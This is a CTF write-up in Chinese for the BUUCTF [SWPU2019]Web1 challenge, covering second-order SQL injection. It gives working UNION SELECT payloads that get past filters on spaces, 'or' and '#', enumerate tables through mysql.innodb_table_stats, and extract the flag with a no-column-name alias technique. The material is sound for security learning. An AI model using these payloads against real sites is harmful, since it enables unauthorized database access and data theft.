buuctf [SWPU2019]Web1 1 sql 無列名注入 二次注入
注冊登入釋出廣告
1'
測試
存在sql注入
經測試,or,空格,#被過濾
不能用order by測試列數,用group by代替
注釋符#用
,'3
代替,數字随便
(這裡的
'
相當于閉合了輸入語句裡參數的右引号,變成
'3'
字元串,此時整個語句沒有注釋符)(如果參數不在sql語句末尾,那不是失敗了?有無懂哥?)
空格用代替
1'/**/group/**/by/**/22,'3
1'/**/group/**/by/**/23,'3
是以有22列
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
回顯位2和3
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
information_schema.tables用mysql.innodb_table_stats代替
table_schema用database_name代替(為什麼不能用前者呢?是因為資料庫類型不同嗎?有無懂哥?)
這時就要無列名注入了
因為沒有mysql.innodb_column_stats這個方法,查不了列名
大概原理就是沒有列名,那就給它取名,然後按别名正常繼續注入
//-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
待我慢慢給你講
首先有兩個表ads,users。flag在users表第三列,其他可以自己注入看看。
格式
select group_concat(b) from (select 1,2 as b,3 union select * from users)a
a,b為别名,可以亂取。b别名為users表第二列别名。
select 1,2,3 很熟悉吧,就是上面我們用來判斷回顯的payload。有基礎的都知道在資料庫中這樣會顯示三列分别為1,2,3(為什麼我不上圖?别問,問就是懶。),而1,2,3就是三列列名
那
select 1,2,3 union select * from users
就會以1,2,3為列名,查詢users表中的内容了。就這麼簡單。為什麼這樣的語句結果就會這樣?那就涉及資料庫怎麼底層了,懂得都懂,懂的不必說,不懂的很難說,反正我是不懂的,呵呵。
回到正題,在加上前面
select group_concat(b)
就是查詢users表第二列。
那為什麼是1,2,3沒有4,5,6或以上呢。因為users表就隻有三列,多輸入列數就報錯了。
可以用下面payload取得列數
-1'/**/union/**/select/**/1,(select/**/group_concat(1)/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
有多少個1就有多少列。
最後就是ads表了,這個是查不出來的。
用上面的語句查出來有3列,當你爆查詢表裡面的内容時會報錯,回頭看之前的就變成了4個1,變成4列,再爆,再報錯,再回頭看,5列。。。真是不能滿足我小小的好奇心,氣死人了